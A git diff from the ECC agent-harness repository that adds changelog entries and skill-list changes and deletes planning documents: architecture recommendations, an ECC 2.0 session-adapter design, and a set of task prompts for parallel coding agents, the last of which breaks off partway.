- 2026-04-05: Added `docs/HERMES-OPENCLAW-MIGRATION.md` as the current public migration guide for issue `#1051`. It reframes Hermes/OpenClaw as source systems to distill from, not the final runtime, and maps scheduler, dispatch, memory, skill, and service layers onto the ECC-native surfaces and ECC 2.0 backlog that already exist.
|
||||
- 2026-04-05: Landed `skills/agent-sort` and the legacy `/agent-sort` shim from issue `#916` as an ECC-native selective-install workflow. It classifies agents, skills, commands, rules, hooks, and extras into DAILY vs LIBRARY buckets using concrete repo evidence, then hands off installation changes to `configure-ecc` instead of inventing a parallel installer. Catalog truth is now `39` agents, `73` commands, and `179` skills.
|
||||
- 2026-04-05: Direct-ported the safe README-only `#1285` slice into `main` instead of merging the branch: added a small `Community Projects` section so downstream teams can link public work built on ECC without changing install, security, or runtime surfaces. Rejected `#1286` at review because it adds an external third-party GitHub Action (`hashgraph-online/codex-plugin-scanner`) that does not meet the current supply-chain policy.
|
||||
- 2026-04-05: Re-audited `origin/feat/hermes-generated-ops-skills` by full diff. The branch is still not mergeable: it deletes current ECC-native surfaces, regresses packaging/install metadata, and removes newer `main` content. Continued the selective-salvage policy instead of branch merge.
|
||||
- 2026-04-05: Selectively salvaged `skills/frontend-design` from the Hermes branch as a self-contained ECC-native skill, mirrored it into `.agents`, wired it into `framework-language`, and re-synced the catalog to `180` skills after validation. The branch itself remains reference-only until every remaining unique file is either ported intentionally or rejected.
|
||||
- 2026-04-05: Selectively salvaged the `hookify` command bundle plus the supporting `conversation-analyzer` agent from the Hermes branch. `hookify-rules` already existed as the canonical skill; this pass restores the user-facing command surfaces (`/hookify`, `/hookify-help`, `/hookify-list`, `/hookify-configure`) without pulling in any external runtime or branch-wide regressions. Catalog truth is now `40` agents, `77` commands, and `180` skills.
|
||||
- 2026-04-05: Selectively salvaged the self-contained review/development bundle from the Hermes branch: `review-pr`, `feature-dev`, and the supporting analyzer/architecture agents (`code-architect`, `code-explorer`, `code-simplifier`, `comment-analyzer`, `pr-test-analyzer`, `silent-failure-hunter`, `type-design-analyzer`). This adds ECC-native command surfaces around PR review and feature planning without merging the branch's broader regressions. Catalog truth is now `47` agents, `79` commands, and `180` skills.
|
||||
- 2026-04-05: Ported `docs/HERMES-SETUP.md` from the Hermes branch as a sanitized operator-topology document for the migration lane. This is docs-only support for `#1051`, not a runtime change and not a sign that the Hermes branch itself is mergeable.
|
||||
- 2026-04-05: Finished the useful salvage pass over `origin/feat/hermes-generated-ops-skills`. The remaining unique files were explicitly rejected:
|
||||
- duplicate git helper commands (`commit`, `commit-push-pr`, `clean-gone`) overlap current checkpoint / publish flows
|
||||
- `scripts/hooks/security-reminder*` adds a new Python-backed hook path not justified by current runtime policy
|
||||
- `skills/oura-health` and `skills/pmx-guidelines` are user- or project-specific, not canonical ECC surfaces
|
||||
- `docs/releases/2.0.0-preview/*` is premature collateral and should be rebuilt from current product truth later
|
||||
- nested `skills/hermes-generated/*` is superseded by the top-level ECC-native operator skills already ported to `main`
|
||||
- 2026-04-08: Fixed the command-export regression reported in `#1327` by restoring a canonical `commands:` section in `agent.yaml` and adding `tests/ci/agent-yaml-surface.test.js` to enforce exact parity between the YAML export surface and the real `commands/` directory. Verified with the full repo test sweep: `1764/1764` passing.
|
||||
+7
-1
@@ -101,7 +101,9 @@ skills:
|
||||
- logistics-exception-management
|
||||
- market-research
|
||||
- mcp-server-patterns
|
||||
- motion-ui
|
||||
- motion-advanced
|
||||
- motion-foundations
|
||||
- motion-patterns
|
||||
- nanoclaw-repl
|
||||
- nextjs-turbopack
|
||||
- nutrient-document-processing
|
||||
@@ -124,6 +126,7 @@ skills:
|
||||
- quarkus-security
|
||||
- quarkus-tdd
|
||||
- quarkus-verification
|
||||
- rails-patterns
|
||||
- ralphinho-rfc-pipeline
|
||||
- react-patterns
|
||||
- react-performance
|
||||
@@ -150,6 +153,9 @@ skills:
|
||||
- swift-concurrency-6-2
|
||||
- swift-protocol-di-testing
|
||||
- swiftui-patterns
|
||||
- taste-application
|
||||
- taste-distillation
|
||||
- tasteforge-video
|
||||
- tdd-workflow
|
||||
- team-builder
|
||||
- token-budget-advisor
|
||||
|
||||
@@ -158,3 +158,5 @@ Next step: /plan .claude/prds/{name}.prd.md
|
||||
- **HYPOTHESIS_TESTABLE**: measurable outcome included.
|
||||
- **SCOPE_BOUNDED**: explicit MVP and explicit out-of-scope.
|
||||
- **NO_IMPLEMENTATION_DETAIL**: file paths, libraries, or task breakdowns are absent — if they appeared, move them to the `/plan` step.
|
||||
|
||||
Background on the staged markdown flow: [docs/PLAN-PRD-PATTERN.md](../docs/PLAN-PRD-PATTERN.md).
|
||||
|
||||
@@ -1,146 +0,0 @@
|
||||
# Architecture Improvement Recommendations
|
||||
|
||||
This document captures architect-level improvements for the Everything Claude Code (ECC) project. It is written from the perspective of a Claude Code coding architect aiming to improve maintainability, consistency, and long-term quality.
|
||||
|
||||
---
|
||||
|
||||
## 1. Documentation and Single Source of Truth
|
||||
|
||||
### 1.1 Agent / Command / Skill Count Sync
|
||||
|
||||
**Issue:** AGENTS.md states "13 specialized agents, 50+ skills, 33 commands" while the repo has **16 agents**, **65+ skills**, and **40 commands**. README and other docs also vary. This causes confusion for contributors and users.
|
||||
|
||||
**Recommendation:**
|
||||
|
||||
- **Single source of truth:** Derive counts (and optionally tables) from the filesystem or a small manifest. Options:
|
||||
- **Option A:** Add a script (e.g. `scripts/ci/catalog.js`) that scans `agents/*.md`, `commands/*.md`, and `skills/*/SKILL.md` and outputs JSON/Markdown. CI and docs can consume this.
|
||||
- **Option B:** Maintain one `docs/catalog.json` (or YAML) that lists agents, commands, and skills with metadata; scripts and docs read from it. Requires discipline to update on add/remove.
|
||||
- **Short-term:** Manually sync AGENTS.md, README.md, and CLAUDE.md with actual counts and list any new agents (e.g. chief-of-staff, loop-operator, harness-optimizer) in the agent table.
|
||||
|
||||
**Impact:** High — affects first impression and contributor trust.
|
||||
|
||||
---
|
||||
|
||||
### 1.2 Command → Agent / Skill Map
|
||||
|
||||
**Issue:** There is no single machine- or human-readable map of "which command uses which agent(s) or skill(s)." This lives in README tables and individual command `.md` files, which can drift.
|
||||
|
||||
**Recommendation:**
|
||||
|
||||
- Add a **command registry** (e.g. in `docs/` or as frontmatter in command files) that lists for each command: name, description, primary agent(s), skills referenced. Can be generated from command file content or maintained by hand.
|
||||
- Expose a "map" in docs (e.g. `docs/COMMAND-AGENT-MAP.md`) or in the generated catalog for discoverability and for tooling (e.g. "which commands use tdd-guide?").
|
||||
|
||||
**Impact:** Medium — improves discoverability and refactoring safety.
|
||||
|
||||
---
|
||||
|
||||
## 2. Testing and Quality
|
||||
|
||||
### 2.1 Test Discovery vs Hardcoded List
|
||||
|
||||
**Issue:** `tests/run-all.js` uses a **hardcoded list** of test files. New test files are not run unless someone updates `run-all.js`, so coverage can be incomplete by omission.
|
||||
|
||||
**Recommendation:**
|
||||
|
||||
- **Glob-based discovery:** Discover test files by pattern (e.g. `**/*.test.js` under `tests/`) and run them, with an optional allowlist/denylist for special cases. This makes new tests automatically part of the suite.
|
||||
- Keep a single entry point (`tests/run-all.js`) that runs discovered tests and aggregates results.
|
||||
|
||||
**Impact:** High — prevents regression where new tests exist but are never executed.
|
||||
|
||||
---
|
||||
|
||||
### 2.2 Test Coverage Metrics
|
||||
|
||||
**Issue:** There is no coverage tool (e.g. nyc/c8/istanbul). The project cannot assert "80%+ coverage" for its own scripts; coverage is implicit.
|
||||
|
||||
**Recommendation:**
|
||||
|
||||
- Introduce a coverage tool for Node scripts (e.g. `c8` or `nyc`) and run it in CI. Start with a baseline (e.g. 60%) and raise over time; or at least report coverage in CI without failing so the team can see trends.
|
||||
- Focus on `scripts/` (lib + hooks + ci) as the primary target; exclude one-off scripts if needed.
|
||||
|
||||
**Impact:** Medium — aligns the project with its own AGENTS.md guidance (80%+ coverage) and surfaces untested paths.
|
||||
|
||||
---
|
||||
|
||||
## 3. Schema and Validation
|
||||
|
||||
### 3.1 Use Hooks JSON Schema in CI
|
||||
|
||||
**Issue:** `schemas/hooks.schema.json` exists and defines the hook configuration shape, but `scripts/ci/validate-hooks.js` does **not** use it. Validation is duplicated (VALID_EVENTS, structure) and can drift from the schema.
|
||||
|
||||
**Recommendation:**
|
||||
|
||||
- Use a JSON Schema validator (e.g. `ajv`) in `validate-hooks.js` to validate `hooks/hooks.json` against `schemas/hooks.schema.json`. Keep the validator as the single source of truth for structure; retain only hook-specific checks (e.g. inline JS syntax) in the script.
|
||||
- Ensures schema and validator stay in sync and allows IDE/editor validation via `$schema` in hooks.json.
|
||||
|
||||
**Impact:** Medium — reduces drift and improves contributor experience when editing hooks.
|
||||
|
||||
---
|
||||
|
||||
## 4. Cross-Harness and i18n
|
||||
|
||||
### 4.1 Skill/Agent Subset Sync (.agents/skills, .cursor/skills)
|
||||
|
||||
**Issue:** `.agents/skills/` (Codex) and `.cursor/skills/` are subsets of `skills/`. Adding or removing a skill in the main repo requires manually updating these subsets, which can be forgotten.
|
||||
|
||||
**Recommendation:**
|
||||
|
||||
- Document in CONTRIBUTING.md that adding a skill may require updating `.agents/skills` and `.cursor/skills` (and how to do it).
|
||||
- Optionally: a CI check or script that compares `skills/` to the subsets and fails or warns if a skill is in one set but not the other when it should be (e.g. by convention or by a small manifest).
|
||||
|
||||
**Impact:** Low–Medium — reduces cross-harness drift.
|
||||
|
||||
---
|
||||
|
||||
### 4.2 Translation Drift (docs/ zh-CN, zh-TW, ja-JP)
|
||||
|
||||
**Issue:** Translations in `docs/` duplicate agents, commands, skills. As the English source evolves, translations can become outdated without clear process or tooling.
|
||||
|
||||
**Recommendation:**
|
||||
|
||||
- Document a **translation process:** when to update (e.g. on release), who owns each locale, and how to detect stale content (e.g. diff file lists or key sections).
|
||||
- Consider: translation status file (e.g. `docs/i18n-status.md`) or CI that checks translation file existence/timestamps and warns if English was updated more recently than a translation.
|
||||
- Long-term: consider extraction/placeholder format (e.g. i18n keys) so translations reference the same structure as the English source.
|
||||
|
||||
**Impact:** Medium — improves experience for non-English users and reduces confusion from outdated translations.
|
||||
|
||||
---
|
||||
|
||||
## 5. Hooks and Scripts
|
||||
|
||||
### 5.1 Hook Runtime Consistency
|
||||
|
||||
**Issue:** Hooks should keep a consistent Node-mode dispatch surface. Continuous-learning observation now dispatches through `run-with-flags.js` and `observe-runner.js`, which delegates to the existing `observe.sh` implementation without exposing a shell-mode hook entry.
|
||||
|
||||
**Recommendation:**
|
||||
|
||||
- Prefer Node for new hooks when possible (cross-platform, single runtime). If shell is required, document why and keep the surface small.
|
||||
- Ensure `ECC_HOOK_PROFILE` and `ECC_DISABLED_HOOKS` are respected in all code paths (including shell) so behavior is consistent.
|
||||
|
||||
**Impact:** Low — maintains current design; improves if more hooks migrate to Node.
|
||||
|
||||
---
|
||||
|
||||
## 6. Summary Table
|
||||
|
||||
| Area | Improvement | Priority | Effort |
|
||||
|-------------------|--------------------------------------|----------|---------|
|
||||
| Doc sync | Sync AGENTS.md/README counts & table | High | Low |
|
||||
| Single source | Catalog script or manifest | High | Medium |
|
||||
| Test discovery | Glob-based test runner | High | Low |
|
||||
| Coverage | Add c8/nyc and CI coverage | Medium | Medium |
|
||||
| Hook schema in CI | Validate hooks.json via schema | Medium | Low |
|
||||
| Command map | Command → agent/skill registry | Medium | Medium |
|
||||
| Subset sync | Document/CI for .agents/.cursor | Low–Med | Low–Med |
|
||||
| Translations | Process + stale detection | Medium | Medium |
|
||||
| Hook runtime | Prefer Node; document shell use | Low | Low |
|
||||
|
||||
---
|
||||
|
||||
## 7. Quick Wins (Immediate)
|
||||
|
||||
1. **Update AGENTS.md:** Set agent count to 16; add chief-of-staff, loop-operator, harness-optimizer to the agent table; align skill/command counts with repo.
|
||||
2. **Test discovery:** Change `run-all.js` to discover `**/*.test.js` under `tests/` (with optional allowlist) so new tests are always run.
|
||||
3. **Wire hooks schema:** In `validate-hooks.js`, validate `hooks/hooks.json` against `schemas/hooks.schema.json` using ajv (or similar) and keep only hook-specific checks in the script.
|
||||
|
||||
These three can be done in one or two sessions and materially improve consistency and reliability.
|
||||
@@ -1,322 +0,0 @@
|
||||
# ECC 2.0 Session Adapter Discovery
|
||||
|
||||
## Purpose
|
||||
|
||||
This document turns the March 11 ECC 2.0 control-plane direction into a
|
||||
concrete adapter and snapshot design grounded in the orchestration code that
|
||||
already exists in this repo.
|
||||
|
||||
## Current Implemented Substrate
|
||||
|
||||
The repo already has a real first-pass orchestration substrate:
|
||||
|
||||
- `scripts/lib/tmux-worktree-orchestrator.js`
|
||||
provisions tmux panes plus isolated git worktrees
|
||||
- `scripts/orchestrate-worktrees.js`
|
||||
is the current session launcher
|
||||
- `scripts/lib/orchestration-session.js`
|
||||
collects machine-readable session snapshots
|
||||
- `scripts/orchestration-status.js`
|
||||
exports those snapshots from a session name or plan file
|
||||
- `commands/sessions.md`
|
||||
already exposes adjacent session-history concepts from Claude's local store
|
||||
- `scripts/lib/session-adapters/canonical-session.js`
|
||||
defines the canonical `ecc.session.v1` normalization layer
|
||||
- `scripts/lib/session-adapters/dmux-tmux.js`
|
||||
wraps the current orchestration snapshot collector as adapter `dmux-tmux`
|
||||
- `scripts/lib/session-adapters/claude-history.js`
|
||||
normalizes Claude local session history as a second adapter
|
||||
- `scripts/lib/session-adapters/registry.js`
|
||||
selects adapters from explicit targets and target types
|
||||
- `scripts/session-inspect.js`
|
||||
emits canonical read-only session snapshots through the adapter registry
|
||||
|
||||
In practice, ECC can already answer:
|
||||
|
||||
- what workers exist in a tmux-orchestrated session
|
||||
- what pane each worker is attached to
|
||||
- what task, status, and handoff files exist for each worker
|
||||
- whether the session is active and how many panes/workers exist
|
||||
- what the most recent Claude local session looked like in the same canonical
|
||||
snapshot shape as orchestration sessions
|
||||
|
||||
That is enough to prove the substrate. It is not yet enough to qualify as a
|
||||
general ECC 2.0 control plane.
|
||||
|
||||
## What The Current Snapshot Actually Models
|
||||
|
||||
The current snapshot model coming out of `scripts/lib/orchestration-session.js`
|
||||
has these effective fields:
|
||||
|
||||
```json
|
||||
{
|
||||
"sessionName": "workflow-visual-proof",
|
||||
"coordinationDir": ".../.claude/orchestration/workflow-visual-proof",
|
||||
"repoRoot": "...",
|
||||
"targetType": "plan",
|
||||
"sessionActive": true,
|
||||
"paneCount": 2,
|
||||
"workerCount": 2,
|
||||
"workerStates": {
|
||||
"running": 1,
|
||||
"completed": 1
|
||||
},
|
||||
"panes": [
|
||||
{
|
||||
"paneId": "%95",
|
||||
"windowIndex": 1,
|
||||
"paneIndex": 0,
|
||||
"title": "seed-check",
|
||||
"currentCommand": "codex",
|
||||
"currentPath": "/tmp/worktree",
|
||||
"active": false,
|
||||
"dead": false,
|
||||
"pid": 1234
|
||||
}
|
||||
],
|
||||
"workers": [
|
||||
{
|
||||
"workerSlug": "seed-check",
|
||||
"workerDir": ".../seed-check",
|
||||
"status": {
|
||||
"state": "running",
|
||||
"updated": "...",
|
||||
"branch": "...",
|
||||
"worktree": "...",
|
||||
"taskFile": "...",
|
||||
"handoffFile": "..."
|
||||
},
|
||||
"task": {
|
||||
"objective": "...",
|
||||
"seedPaths": ["scripts/orchestrate-worktrees.js"]
|
||||
},
|
||||
"handoff": {
|
||||
"summary": [],
|
||||
"validation": [],
|
||||
"remainingRisks": []
|
||||
},
|
||||
"files": {
|
||||
"status": ".../status.md",
|
||||
"task": ".../task.md",
|
||||
"handoff": ".../handoff.md"
|
||||
},
|
||||
"pane": {
|
||||
"paneId": "%95",
|
||||
"title": "seed-check"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
This is already a useful operator payload. The main limitation is that it is
|
||||
implicitly tied to one execution style:
|
||||
|
||||
- tmux pane identity
|
||||
- worker slug equals pane title
|
||||
- markdown coordination files
|
||||
- plan-file or session-name lookup rules
|
||||
|
||||
## Gap Between ECC 1.x And ECC 2.0
|
||||
|
||||
ECC 1.x currently has two different "session" surfaces:
|
||||
|
||||
1. Claude local session history
|
||||
2. Orchestration runtime/session snapshots
|
||||
|
||||
Those surfaces are adjacent but not unified.
|
||||
|
||||
The missing ECC 2.0 layer is a harness-neutral session adapter boundary that
|
||||
can normalize:
|
||||
|
||||
- tmux-orchestrated workers
|
||||
- plain Claude sessions
|
||||
- Codex worktree sessions
|
||||
- OpenCode sessions
|
||||
- future GitHub/App or remote-control sessions
|
||||
|
||||
Without that adapter layer, any future operator UI would be forced to read
|
||||
tmux-specific details and coordination markdown directly.
|
||||
|
||||
## Adapter Boundary
|
||||
|
||||
ECC 2.0 should introduce a canonical session adapter contract.
|
||||
|
||||
Suggested minimal interface:
|
||||
|
||||
```ts
|
||||
type SessionAdapter = {
|
||||
id: string;
|
||||
canOpen(target: SessionTarget): boolean;
|
||||
open(target: SessionTarget): Promise<AdapterHandle>;
|
||||
};
|
||||
|
||||
type AdapterHandle = {
|
||||
getSnapshot(): Promise<CanonicalSessionSnapshot>;
|
||||
streamEvents?(onEvent: (event: SessionEvent) => void): Promise<() => void>;
|
||||
runAction?(action: SessionAction): Promise<ActionResult>;
|
||||
};
|
||||
```
|
||||
|
||||
### Canonical Snapshot Shape
|
||||
|
||||
Suggested first-pass canonical payload:
|
||||
|
||||
```json
|
||||
{
|
||||
"schemaVersion": "ecc.session.v1",
|
||||
"adapterId": "dmux-tmux",
|
||||
"session": {
|
||||
"id": "workflow-visual-proof",
|
||||
"kind": "orchestrated",
|
||||
"state": "active",
|
||||
"repoRoot": "...",
|
||||
"sourceTarget": {
|
||||
"type": "plan",
|
||||
"value": ".claude/plan/workflow-visual-proof.json"
|
||||
}
|
||||
},
|
||||
"workers": [
|
||||
{
|
||||
"id": "seed-check",
|
||||
"label": "seed-check",
|
||||
"state": "running",
|
||||
"branch": "...",
|
||||
"worktree": "...",
|
||||
"runtime": {
|
||||
"kind": "tmux-pane",
|
||||
"command": "codex",
|
||||
"pid": 1234,
|
||||
"active": false,
|
||||
"dead": false
|
||||
},
|
||||
"intent": {
|
||||
"objective": "...",
|
||||
"seedPaths": ["scripts/orchestrate-worktrees.js"]
|
||||
},
|
||||
"outputs": {
|
||||
"summary": [],
|
||||
"validation": [],
|
||||
"remainingRisks": []
|
||||
},
|
||||
"artifacts": {
|
||||
"statusFile": "...",
|
||||
"taskFile": "...",
|
||||
"handoffFile": "..."
|
||||
}
|
||||
}
|
||||
],
|
||||
"aggregates": {
|
||||
"workerCount": 2,
|
||||
"states": {
|
||||
"running": 1,
|
||||
"completed": 1
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
This preserves the useful signal already present while removing tmux-specific
|
||||
details from the control-plane contract.
|
||||
|
||||
## First Adapters To Support
|
||||
|
||||
### 1. `dmux-tmux`
|
||||
|
||||
Wrap the logic already living in
|
||||
`scripts/lib/orchestration-session.js`.
|
||||
|
||||
This is the easiest first adapter because the substrate is already real.
|
||||
|
||||
### 2. `claude-history`
|
||||
|
||||
Normalize the data that
|
||||
`commands/sessions.md`
|
||||
and the existing session-manager utilities already expose:
|
||||
|
||||
- session id / alias
|
||||
- branch
|
||||
- worktree
|
||||
- project path
|
||||
- recency / file size / item counts
|
||||
|
||||
This provides a non-orchestrated baseline for ECC 2.0.
|
||||
|
||||
### 3. `codex-worktree`
|
||||
|
||||
Use the same canonical shape, but back it with Codex-native execution metadata
|
||||
instead of tmux assumptions where available.
|
||||
|
||||
### 4. `opencode`
|
||||
|
||||
Use the same adapter boundary once OpenCode session metadata is stable enough to
|
||||
normalize.
|
||||
|
||||
## What Should Stay Out Of The Adapter Layer
|
||||
|
||||
The adapter layer should not own:
|
||||
|
||||
- business logic for merge sequencing
|
||||
- operator UI layout
|
||||
- pricing or monetization decisions
|
||||
- install profile selection
|
||||
- tmux lifecycle orchestration itself
|
||||
|
||||
Its job is narrower:
|
||||
|
||||
- detect session targets
|
||||
- load normalized snapshots
|
||||
- optionally stream runtime events
|
||||
- optionally expose safe actions
|
||||
|
||||
## Current File Layout
|
||||
|
||||
The adapter layer now lives in:
|
||||
|
||||
```text
|
||||
scripts/lib/session-adapters/
|
||||
canonical-session.js
|
||||
dmux-tmux.js
|
||||
claude-history.js
|
||||
registry.js
|
||||
scripts/session-inspect.js
|
||||
tests/lib/session-adapters.test.js
|
||||
tests/scripts/session-inspect.test.js
|
||||
```
|
||||
|
||||
The current orchestration snapshot parser is now being consumed as an adapter
|
||||
implementation rather than remaining the only product contract.
|
||||
|
||||
## Immediate Next Steps
|
||||
|
||||
1. Add a third adapter, likely `codex-worktree`, so the abstraction moves
|
||||
beyond tmux plus Claude-history.
|
||||
2. Decide whether canonical snapshots need separate `state` and `health`
|
||||
fields before UI work starts.
|
||||
3. Decide whether event streaming belongs in v1 or stays out until after the
|
||||
snapshot layer proves itself.
|
||||
4. Build operator-facing panels only on top of the adapter registry, not by
|
||||
reading orchestration internals directly.
|
||||
|
||||
## Open Questions
|
||||
|
||||
1. Should worker identity be keyed by worker slug, branch, or stable UUID?
|
||||
2. Do we need separate `state` and `health` fields at the canonical layer?
|
||||
3. Should event streaming be part of v1, or should ECC 2.0 ship snapshot-only
|
||||
first?
|
||||
4. How much path information should be redacted before snapshots leave the local
|
||||
machine?
|
||||
5. Should the adapter registry live inside this repo long-term, or move into the
|
||||
eventual ECC 2.0 control-plane app once the interface stabilizes?
|
||||
|
||||
## Recommendation
|
||||
|
||||
Treat the current tmux/worktree implementation as adapter `0`, not as the final
|
||||
product surface.
|
||||
|
||||
The shortest path to ECC 2.0 is:
|
||||
|
||||
1. preserve the current orchestration substrate
|
||||
2. wrap it in a canonical session adapter contract
|
||||
3. add one non-tmux adapter
|
||||
4. only then start building operator panels on top
|
||||
@@ -46,7 +46,7 @@ That means the shortest safe path is:
|
||||
Use the current workspace split consistently:
|
||||
|
||||
- live code work happens in cloned repos under `~/GitHub`
|
||||
- repo-specific active execution context lives in repo-level `WORKING-CONTEXT.md`
|
||||
- repo-specific direction lives in the repo's planning docs under `docs/`, shipped change history in `CHANGELOG.md`
|
||||
- broader non-code context can live in KB/archive layers
|
||||
- durable cross-machine truth should prefer GitHub, Linear, and the knowledge base
|
||||
|
||||
@@ -105,7 +105,7 @@ Source examples:
|
||||
Translate into:
|
||||
|
||||
- `knowledge-ops`
|
||||
- repo `WORKING-CONTEXT.md`
|
||||
- repo planning docs under `docs/` and `CHANGELOG.md`
|
||||
- GitHub / Linear / KB-backed durable context
|
||||
- future deep memory work under `#1049`
|
||||
|
||||
|
||||
@@ -1,286 +0,0 @@
|
||||
# Mega Plan Repo Prompt List — March 12, 2026
|
||||
|
||||
## Purpose
|
||||
|
||||
Use these prompts to split the remaining March 11 mega-plan work by repo.
|
||||
They are written for parallel agents and assume the March 12 orchestration and
|
||||
Windows CI lane is already merged via `#417`.
|
||||
|
||||
## Current Snapshot
|
||||
|
||||
- `everything-claude-code` has finished the orchestration, Codex baseline, and
|
||||
Windows CI recovery lane.
|
||||
- The next open ECC Phase 1 items are:
|
||||
- review `#399`
|
||||
- convert recurring discussion pressure into tracked issues
|
||||
- define selective-install architecture
|
||||
- write the ECC 2.0 discovery doc
|
||||
- `agentshield`, `ECC-website`, and `skill-creator-app` all have dirty
|
||||
`main` worktrees and should not be edited directly on `main`.
|
||||
- `applications/` is not a standalone git repo. It lives inside the parent
|
||||
workspace repo at `<ECC_ROOT>`.
|
||||
|
||||
## Repo: `everything-claude-code`
|
||||
|
||||
### Prompt A — PR `#399` Review and Merge Readiness
|
||||
|
||||
```text
|
||||
Work in: <ECC_ROOT>/everything-claude-code
|
||||
|
||||
Goal:
|
||||
Review PR #399 ("fix(observe): 5-layer automated session guard to prevent
|
||||
self-loop observations") against the actual loop problem described in issue
|
||||
#398 and the March 11 mega plan. Do not assume the old failing CI on the PR is
|
||||
still meaningful, because the Windows baseline was repaired later in #417.
|
||||
|
||||
Tasks:
|
||||
1. Read issue #398 and PR #399 in full.
|
||||
2. Inspect the observe hook implementation and tests locally.
|
||||
3. Determine whether the PR really prevents observer self-observation,
|
||||
automated-session observation, and runaway recursive loops.
|
||||
4. Identify any missing env-based bypass, idle gating, or session exclusion
|
||||
behavior.
|
||||
5. Produce a merge recommendation with findings ordered by severity.
|
||||
|
||||
Constraints:
|
||||
- Do not merge automatically.
|
||||
- Do not rewrite unrelated hook behavior.
|
||||
- If you make code changes, keep them tightly scoped to observe behavior and
|
||||
tests.
|
||||
|
||||
Deliverables:
|
||||
- review summary
|
||||
- exact findings with file references
|
||||
- recommended merge / rework decision
|
||||
- test commands run
|
||||
```
|
||||
|
||||
### Prompt B — Roadmap Issues Extraction
|
||||
|
||||
```text
|
||||
Work in: <ECC_ROOT>/everything-claude-code
|
||||
|
||||
Goal:
|
||||
Convert recurring discussion pressure from the mega plan into concrete GitHub
|
||||
issues. Focus on high-signal roadmap items that unblock ECC 1.x and ECC 2.0.
|
||||
|
||||
Create issue drafts or a ready-to-post issue bundle for:
|
||||
1. selective install profiles
|
||||
2. uninstall / doctor / repair lifecycle
|
||||
3. generated skill placement and provenance policy
|
||||
4. governance past the tool call
|
||||
5. ECC 2.0 discovery doc / adapter contracts
|
||||
|
||||
Tasks:
|
||||
1. Read the March 11 mega plan and March 12 handoff.
|
||||
2. Deduplicate against already-open issues.
|
||||
3. Draft issue titles, problem statements, scope, non-goals, acceptance
|
||||
criteria, and file/system areas affected.
|
||||
|
||||
Constraints:
|
||||
- Do not create filler issues.
|
||||
- Prefer 4-6 high-value issues over a large backlog dump.
|
||||
- Keep each issue scoped so it could plausibly land in one focused PR series.
|
||||
|
||||
Deliverables:
|
||||
- issue shortlist
|
||||
- ready-to-post issue bodies
|
||||
- duplication notes against existing issues
|
||||
```
|
||||
|
||||
### Prompt C — ECC 2.0 Discovery and Adapter Spec
|
||||
|
||||
```text
|
||||
Work in: <ECC_ROOT>/everything-claude-code
|
||||
|
||||
Goal:
|
||||
Turn the existing ECC 2.0 vision into a first concrete discovery doc focused on
|
||||
adapter contracts, session/task state, token accounting, and security/policy
|
||||
events.
|
||||
|
||||
Tasks:
|
||||
1. Use the current orchestration/session snapshot code as the baseline.
|
||||
2. Define a normalized adapter contract for Claude Code, Codex, OpenCode, and
|
||||
later Cursor / GitHub App integration.
|
||||
3. Define the initial SQLite-backed data model for sessions, tasks, worktrees,
|
||||
events, findings, and approvals.
|
||||
4. Define what stays in ECC 1.x versus what belongs in ECC 2.0.
|
||||
5. Call out unresolved product decisions separately from implementation
|
||||
requirements.
|
||||
|
||||
Constraints:
|
||||
- Treat the current tmux/worktree/session snapshot substrate as the starting
|
||||
point, not a blank slate.
|
||||
- Keep the doc implementation-oriented.
|
||||
|
||||
Deliverables:
|
||||
- discovery doc
|
||||
- adapter contract sketch
|
||||
- event model sketch
|
||||
- unresolved questions list
|
||||
```
|
||||
|
||||
## Repo: `agentshield`
|
||||
|
||||
### Prompt — False Positive Audit and Regression Plan
|
||||
|
||||
```text
|
||||
Work in: <ECC_ROOT>/agentshield
|
||||
|
||||
Goal:
|
||||
Advance the AgentShield Phase 2 workstream from the mega plan: reduce false
|
||||
positives, especially where declarative deny rules, block hooks, docs examples,
|
||||
or config snippets are misclassified as executable risk.
|
||||
|
||||
Important repo state:
|
||||
- branch is currently main
|
||||
- dirty files exist in CLAUDE.md and README.md
|
||||
- classify or park existing edits before broader changes
|
||||
|
||||
Tasks:
|
||||
1. Inspect the current false-positive behavior around:
|
||||
- .claude hook configs
|
||||
- AGENTS.md / CLAUDE.md
|
||||
- .cursor rules
|
||||
- .opencode plugin configs
|
||||
- sample deny-list patterns
|
||||
2. Separate parser behavior for declarative patterns vs executable commands.
|
||||
3. Propose regression coverage additions and the exact fixture set needed.
|
||||
4. If safe after branch setup, implement the first pass of the classifier fix.
|
||||
|
||||
Constraints:
|
||||
- do not work directly on dirty main
|
||||
- keep fixes parser/classifier-scoped
|
||||
- document any remaining ambiguity explicitly
|
||||
|
||||
Deliverables:
|
||||
- branch recommendation
|
||||
- false-positive taxonomy
|
||||
- proposed or landed regression tests
|
||||
- remaining edge cases
|
||||
```
|
||||
|
||||
## Repo: `ECC-website`
|
||||
|
||||
### Prompt — Landing Rewrite and Product Framing
|
||||
|
||||
```text
|
||||
Work in: <ECC_ROOT>/ECC-website
|
||||
|
||||
Goal:
|
||||
Execute the website lane from the mega plan by rewriting the landing/product
|
||||
framing away from "config repo" and toward "open agent harness system" plus
|
||||
future control-plane direction.
|
||||
|
||||
Important repo state:
|
||||
- branch is currently main
|
||||
- dirty files exist in favicon assets and multiple page/component files
|
||||
- branch before meaningful work and preserve existing edits unless explicitly
|
||||
classified as stale
|
||||
|
||||
Tasks:
|
||||
1. Classify the dirty main worktree state.
|
||||
2. Rewrite the landing page narrative around:
|
||||
- open agent harness system
|
||||
- runtime guardrails
|
||||
- cross-harness parity
|
||||
- operator visibility and security
|
||||
3. Define or update the next key pages:
|
||||
- /skills
|
||||
- /security
|
||||
- /platforms
|
||||
- /system or /dashboard
|
||||
4. Keep the page visually intentional and product-forward, not generic SaaS.
|
||||
|
||||
Constraints:
|
||||
- do not silently overwrite existing dirty work
|
||||
- preserve existing design system where it is coherent
|
||||
- distinguish ECC 1.x toolkit from ECC 2.0 control plane clearly
|
||||
|
||||
Deliverables:
|
||||
- branch recommendation
|
||||
- landing-page rewrite diff or content spec
|
||||
- follow-up page map
|
||||
- deployment readiness notes
|
||||
```
|
||||
|
||||
## Repo: `skill-creator-app`
|
||||
|
||||
### Prompt — Skill Import Pipeline and Product Fit
|
||||
|
||||
```text
|
||||
Work in: <ECC_ROOT>/skill-creator-app
|
||||
|
||||
Goal:
|
||||
Align skill-creator-app with the mega-plan external skill sourcing and audited
|
||||
import pipeline workstream.
|
||||
|
||||
Important repo state:
|
||||
- branch is currently main
|
||||
- dirty files exist in README.md and src/lib/github.ts
|
||||
